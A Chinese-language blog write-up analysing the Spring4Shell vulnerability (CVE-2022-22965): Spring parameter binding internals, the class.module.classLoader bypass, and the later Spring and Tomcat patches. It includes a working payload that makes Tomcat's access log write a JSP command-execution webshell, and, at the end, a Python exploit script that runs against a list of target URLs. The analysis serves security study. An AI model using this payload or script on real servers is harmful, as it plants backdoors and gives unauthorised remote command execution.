Spring Beans RCE(CVE-2022-22965)
为了看shiro反序列化刚把SSM撸了一遍,刚好爆出这个Spring RCE,这里就尝试分析一下作为入门。
该漏洞的本质类似于php的变量覆盖漏洞,exp利用的话,恰好覆盖到tomcat的配置,并修改tomcat的日志位置到根目录,修改日志的后缀为jsp。但是这里叫SpringMVC的参数绑定。
一天后的补充:看这个洞之前强烈建议先看 SpringMVC RCE (CVE-2010-1622) 这个洞,一来该漏洞是2010年这个洞的一个修复方式的绕过,二来本人菜鸡不懂spring的源码,网上如今这个洞写分析的也不多,所以写这篇文章的时候也是云里雾里的,里面东拼西凑回来的东西我也没搞懂,而2010这个洞网上文章虽然也不多了,但是还是有分析得挺清晰明了的,所以先看原来的洞希望能够帮助对该洞的理解。
两天后的补充:在我发文章的后一天安全牛也发了一篇该漏洞的分析,这个就十分清晰了:Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考 ,像我这种小白也能看明白,大家可以去看这篇就不用看我在这里瞎逼逼了
漏洞条件
- JDK9及其以上版本;
- Spring 5.3.17 及之前版本;
- Tomcat 9.0.61 及之前版本;
- 使⽤了Spring-beans包;
- 使⽤了Spring参数绑定,并且绑定的是⾮基本参数类型,例如⼀般的POJO即可;
Spring参数绑定
这里假设自定义一个User对象:
public class User {
private String name;
private Integer age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
这时候需要从URL中获取name的值赋予User对象:
http://localhost:8080/web_war/ParameterBind/test2?name=aa
在没有使用Spring框架的时候,通常的做法是先把User类实例化为对象,再从HTTP GET参数中获取name参数的值赋予User对象的name属性;但是Spring框架简化了这个过程,代码如下:
@ResponseBody
@RequestMapping("/test2")
public String test2(User u){
System.out.println(u.toString());
return "test2";
}
也就是说spring从http请求中自动解析变量,并给user对象,这就是Spring的参数绑定。
而实际上该参数绑定还支持多层嵌套的参数绑定。假设请求参数名为foo.bar.baz.qux
,对应Controller
方法入参为Param
,则有以下的调用链:
Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux()
可以想象,该项技术的实现必然有大量的反射技术。下面我们来分析一下实现过程。
Java Bean PropertyDescriptor
PropertyDescriptor
是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get
/set
方法。下面是一个简单的例子:
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals("name")) {
userNameDescriptor = descriptor;
System.out.println("userNameDescriptor: " + userNameDescriptor);
System.out.println("Before modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, "bar");
}
}
System.out.println("After modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
}
}
输出:
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar
从上述代码和输出结果可以看到,PropertyDescriptor
实际上就是Java Bean的属性和对应get
/set
方法的集合。
Spring BeanWrapperImpl
在Spring中,BeanWrapper
接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。
BeanWrapperImpl
类是BeanWrapper
接口的默认实现,BeanWrapperImpl.wrappedObject
属性即为被包装的Bean对象,BeanWrapperImpl
对Bean的属性访问和设置最终调用的是PropertyDescriptor
。
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;
public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
Department department = new Department();
department.setName("SEC");
user.setDepartment(department);
BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println("userBeanWrapper: " + userBeanWrapper);
System.out.println("Before modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
userBeanWrapper.setPropertyValue("name", "bar");
userBeanWrapper.setPropertyValue("department.name", "IT");
System.out.println("After modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
}
}
输出:
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT
从上述代码和输出结果可以看到,通过BeanWrapperImpl
可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor
要简单很多。
参数绑定实现过程
我们请求URL:
http://localhost:8080/web_war/ParameterBind/test2?class.module=aa
org.springframework.beans.AbstractPropertyAccessor#setPropertyValues(org.springframework.beans.PropertyValues, boolean, boolean)
在这里开始,将http请求中每一个键值对,设置到bean对象上:
public void setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)
throws BeansException {
List<PropertyAccessException> propertyAccessExceptions = null;
List<PropertyValue> propertyValues = (pvs instanceof MutablePropertyValues ?
((MutablePropertyValues) pvs).getPropertyValueList() : Arrays.asList(pvs.getPropertyValues()));
for (PropertyValue pv : propertyValues) {
try {
// This method may throw any BeansException, which won't be caught
// here, if there is a critical failure such as no matching field.
// We can attempt to deal only with less serious exceptions.
setPropertyValue(pv);
}
... ...
org.springframework.beans.BeanWrapperImpl#setPropertyValue(org.springframework.beans.PropertyValue)
@Override
public void setPropertyValue(PropertyValue pv) throws BeansException {
PropertyTokenHolder tokens = (PropertyTokenHolder) pv.resolvedTokens;
if (tokens == null) {
String propertyName = pv.getName();
BeanWrapperImpl nestedBw;
try {
nestedBw = getBeanWrapperForPropertyPath(propertyName);
}
catch (NotReadablePropertyException ex) {
throw new NotWritablePropertyException(getRootClass(), this.nestedPath + propertyName,
"Nested property in path '" + propertyName + "' does not exist", ex);
}
tokens = getPropertyNameTokens(getFinalPath(nestedBw, propertyName));
if (nestedBw == this) {
pv.getOriginalPropertyValue().resolvedTokens = tokens;
}
nestedBw.setPropertyValue(tokens, pv);
}
else {
setPropertyValue(tokens, pv);
}
}
在getBeanWrapperForPropertyPath
中,开始解析http中的key,
org.springframework.beans.CachedIntrospectionResults#getPropertyDescriptor(String name)
可以看出这里是的name
参数是从GET请求参数分解出的属性值,入参为class.module
,Spring以 .
为分割符解析出第一个对象属性为class
,然后就是调用class对象的setModule
方法,参数为aa
,字符串类型。
问题来了,参数绑定获取的bean对象是User,而我们的User只有name和age这两个属性,截图中缺凭空多了一个class属性,指向bean对象的类的引用。导致通过这个class引用,修改非bean对象的属性的值。也就造成了变量覆盖。
每个bean对象的Propery的cache,在初始化的时候由它的构造方法调用生成。
org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults
这里虽然对属性做了检查,需要beanClass
为Class
或者属性的name
为classLoader
,而jdk8中没有module,只能用class.classLoader
调用,这样就满足了2个条件,导致无法绕过。jdk9为什么能绕过呢,因为他多了一个module,如class.module.classLoader
,这样module就满足第一个条件,而不去判断第二个条件,从而绕过黑名单。
这里原本的目的是获取bean的属性,而java类存在一个特性,存在内置的class属性,用于存储类实例,即开发中常用到的User.class这样的引用就是调用了这个属性。
获取到的class实例被作为属性进行属性注入操作,存入了propertyDescriptors
,后续的调用则是迭代class属性,获取对应实例,从而完成变量注入操作。
这里我的理解是迭代需要找些有getter方法的属性,最终赋值的属性要setter方法,不然链就走不下去。
Tomcat日志写shell
知道可以获取class对象构造利用链,接下来就是修改Tomcat的日志配置,向日志中写入shell。
Tomcat AccessLogValve 和 access_log
Tomcat的Valve
用于处理请求和响应,通过组合了多个Valve
的Pipeline
,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve
用来记录访问日志access_log。Tomcat的server.xml
中默认配置了AccessLogValve
,所有部署在Tomcat中的Web应用均会执行该Valve
,内容如下:
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
下面列出配置中出现的几个重要属性:
- pattern:access_log文件的日志格式,格式一般是
%h %l %u %t "%r" %s %b
,所以%
会被格式化,但通过%{xxx}i
可引用请求头字段,即可保证任意字符写入,并且可以实现字符拼接,绕过webshell检测。 - directory:access_log文件输出目录。
- prefix:access_log文件名前缀。
- pattern:access_log文件内容格式。
- suffix:access_log文件名后缀。
- fileDateFormat:access_log文件名日期后缀,默认为
.yyyy-MM-dd
。
默认情况下,生成的access log位于 logs目录(与webapps平行)下,文件名是localhost_access_log.2014-03-09.txt
利用
但通过修改上面的属性值,可以导致在webapps目录下写入jspwebshell。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
pattern参数
由于%
会被过滤,pattern里通过引用头部来实现构造。其中
%{xxx}i 请求headers的信息
%{xxx}o 响应headers的信息
%{xxx}c 请求cookie的信息
%{xxx}r xxx是ServletRequest的一个属性
%{xxx}s xxx是HttpSession的一个属性
其中的调用链以第一条为例:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()
可以看到,pattern
参数最终对应AccessLogValve.setPattern()
,即将AccessLogValve
的pattern
属性设置为jspwebshell的代码,也就是access_log的文件内容格式。
suffix参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.suffix
- 参数值:
.jsp
按照pattern
参数相同的调试方法,suffix
参数最终将AccessLogValve.suffix
设置为.jsp
,即access_log的文件名后缀。
directory参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.directory
- 参数值:
webapps/ROOT
按照pattern
参数相同的调试方法,directory
参数最终将AccessLogValve.directory
设置为webapps/ROOT
,即access_log的文件输出目录。
这里提下webapps/ROOT
目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/
根目录访问。
prefix参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.prefix
- 参数值:
tomcatwar
按照pattern
参数相同的调试方法,prefix
参数最终将AccessLogValve.prefix
设置为tomcatwar
,即access_log的文件名前缀。
fileDateFormat参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
- 参数值:空
按照pattern
参数相同的调试方法,fileDateFormat
参数最终将AccessLogValve.fileDateFormat
设置为空,即access_log的文件名不包含日期。
小结
至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve
的属性,让Tomcat在webapps/ROOT
目录输出定制的“访问日志”tomcatwar.jsp
,该“访问日志”实际上为一个JSP webshell。
Web应用部署方式
从java.lang.Module
到org.apache.catalina.loader.ParallelWebappClassLoader
,是将调用链转移到Tomcat,并最终利用AccessLogValve
输出webshell的关键。
ParallelWebappClassLoader
在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,classLoader
嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader
,查看其源码,没有getResources()
方法。
这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。
修复
spring
通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor filter的”提交。
进入该提交,可以看到对CachedIntrospectionResults
构造函数中Java Bean的PropertyDescriptor
的过滤条件被修改了:当Java Bean的类型为java.lang.Class
时,仅允许获取name
以及Name
后缀的属性描述符。利用java.lang.Class.getModule()
的链路就走不通了。
Tomcat
通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate getResources() and always return null.”提交。
进入该提交,可以看到对getResources()
方法的返回值做了修改,直接返回null
。利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
的链路就走不通了。
POC
#coding:utf-8
import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Srping-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
利用成功后能在目录下看到webshell文件
值得一提的是:如果是用IDEA开的tomcat写入的文件不能直接访问,因为它并不在tomcat的目录下,而是映射到了别的目录,想要直接访问需要将项目打包后在命令行启动项目。